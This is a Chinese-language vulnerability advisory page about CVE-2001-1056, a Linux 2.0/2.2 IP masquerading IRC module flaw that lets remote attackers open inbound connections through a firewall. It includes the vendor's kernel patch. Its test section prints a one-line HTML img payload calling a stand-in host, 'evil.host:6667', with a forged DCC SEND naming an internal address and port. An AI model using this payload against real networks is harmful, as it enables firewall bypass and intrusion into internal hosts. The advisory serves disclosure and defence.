首页 -> 安全研究

安全研究

安全漏洞
Linux 内核IRC IP 伪装模块漏洞

发布日期:2001-07-30
更新日期:2001-08-02

受影响系统:

Linux kernel 2.2.x
Linux kernel 2.0.x
描述:

BUGTRAQ  ID: 3117
CVE(CAN) ID: CVE-2001-1056

Linux 的'ip_masq_irc' IP伪装模块用来对IRC协议数据以及DCC文件传输请求进行解释和
处理。它会动态的为IRC数据传输打开和映射端口。

这个模块在处理DCC文件传输时包含一个安全漏洞,允许远程攻击者临时创建一个
发往内部的连接,这可以绕过防火墙的保护来访问内部主机。


<*来源:Michal Zalewski (lcamtuf@razor.bindview.com)
  链接:http://razor.bindview.com/publish/advisories/adv_LkIPmasq.html
*>


测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


攻击者可以给被攻击主机上的用户发送一封HTML邮件或者诱使他访问攻击者控制的站点,
邮件或者站点中包含下列代码:

   <img src="ftp://evil.host:6667/%01DCC%20SEND%20file%20addr%20port">

上面,evil.host是攻击者控制的主机,它监听6667端口。

file是传输的文件名,addr是防火墙内部主机的IP地址,port是攻击者想要访问的端口。
当被攻击者发起向evil.host的连接时,攻击者必须可以返回一个正常的FTP协议响应。

然后攻击者就可以获取防火墙的来源端口信息(发往这个端口的数据将被转发给内部主机
的port端口),然后攻击者就可以与内部主机的port端口建立有效的连接。


建议:

厂商补丁:

厂商已经提供了补丁程序,补丁代码如下:

--- linux/net/ipv4/ip_masq_irc.c.dist    Sun Mar 25 13:31:12 2001
+++ linux/net/ipv4/ip_masq_irc.c    Mon Jul 30 13:29:49 2001
@@ -22,6 +22,7 @@
  *      <sshore@escape.ca>
  *    Scottie Shore        :  added support for mIRC DCC resume negotiation
  *      <sshore@escape.ca>
+ *    Juan Jose Ciarlante    :  src addr/port checking for better security (spotted by Michal Zalewski)
  *
  *    This program is free software; you can redistribute it and/or
  *    modify it under the terms of the GNU General Public License
@@ -38,7 +39,12 @@
  *    /etc/conf.modules (or /etc/modules.conf depending on your config)
  *    where modload will pick it up should you use modload to load your
  *    modules.
- *    
+ *
+ * Insecure "back" data channel opening
+ *     The helper does some trivial checks when opening a new DCC data
+ *     channel. Use module parameter
+ *         insecure=1
+ *    ... to avoid this and get previous (pre 2.2.20) behaviour.
  */

#include <linux/config.h>
@@ -72,6 +78,9 @@

MODULE_PARM(ports, "1-" __MODULE_STRING(MAX_MASQ_APP_PORTS) "i");

+static int insecure=0;
+MODULE_PARM(insecure, "i");
+

/*
  * List of supported DCC protocols
@@ -110,6 +119,30 @@
         return 0;
}

+
+/*
+ *     Ugly workaround [TM] --mummy ... why does this protocol sucks?
+ *
+ *    The <1024 check and same source address just raise the
+ *    security "feeling" => they don't prevent a redirector listening
+ *    in same src address at a higher port; you should protect
+ *    your internal network with ipchains output rules anyway
+ */
+
+static inline int masq_irc_out_check(const struct ip_masq *ms, __u32 data_saddr, __u16 data_sport) {
+    int allow=1;
+
+    IP_MASQ_DEBUG(1-debug, "masq_irc_out_check( s_addr=%d.%d.%d.%d, data_saddr=%d.%d.%d.%d, data_sport=%d",
+            NIPQUAD(ms->saddr), NIPQUAD(data_saddr), ntohs(data_sport));
+
+    /*
+     *     Ignore data channel back to other src addr, nor to port < 1024
+     */
+    if (ms->saddr != data_saddr || ntohs(data_sport) < 1024)
+        allow=0;
+
+    return allow;
+}
int
masq_irc_out (struct ip_masq_app *mapp, struct ip_masq *ms, struct sk_buff **skb_p, __u32 maddr)
{
@@ -118,7 +151,7 @@
     struct tcphdr *th;
     char *data, *data_limit;
     __u32 s_addr;
-    __u16 s_port;
+    __u32 s_port;    /* larger to allow strtoul() return value validation */
     struct ip_masq *n_ms;
     char buf[20];        /* "m_addr m_port" (dec base)*/
         unsigned buf_len;
@@ -199,12 +232,25 @@
                 s_port = simple_strtoul(data,&data,10);
                 addr_end_p = data;

+                /*    Sanity checks         */
+                if (!s_addr || !s_port || s_port > 65535)
+                    continue;
+
+                /*    Prefer net order from now on     */
+                s_addr = htonl(s_addr);
+                s_port = htons(s_port);
+
+                /*     Simple validation     */
+                if (!insecure && !masq_irc_out_check(ms, s_addr, s_port))
+                    /* We may just: return 0; */
+                    continue;
+
                 /*    Do we already have a port open for this client?
                  *    If so, use it (for DCC ACCEPT)
                  */

                 n_ms = ip_masq_out_get(IPPROTO_TCP,
-                        htonl(s_addr),htons(s_port),
+                        s_addr, s_port,
                         0, 0);

                 /*
@@ -216,7 +262,7 @@
                 if (n_ms==NULL)
                     n_ms = ip_masq_new(IPPROTO_TCP,
                             maddr, 0,
-                            htonl(s_addr),htons(s_port),
+                            s_addr, s_port,
                             0, 0,
                             IP_MASQ_F_NO_DPORT|IP_MASQ_F_NO_DADDR);
                 if (n_ms==NULL)
@@ -236,7 +282,10 @@
                 diff = buf_len - (addr_end_p-addr_beg_p);

                 *addr_beg_p = '\0';
-                IP_MASQ_DEBUG(1-debug, "masq_irc_out(): '%s' %X:%X detected (diff=%d)\n", dcc_p, s_addr,s_port, diff);
+                IP_MASQ_DEBUG(1-debug, "masq_irc_out(): '%s' %d.%d.%d.%d:%d -> %d.%d.%d.%d:%d detected (diff=%d)\n", dcc_p,
+                    NIPQUAD(s_addr), htons(s_port),
+                    NIPQUAD(n_ms->maddr), htons(n_ms->mport),
+                    diff);

                 /*
                  *    No shift.






浏览次数:5236
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障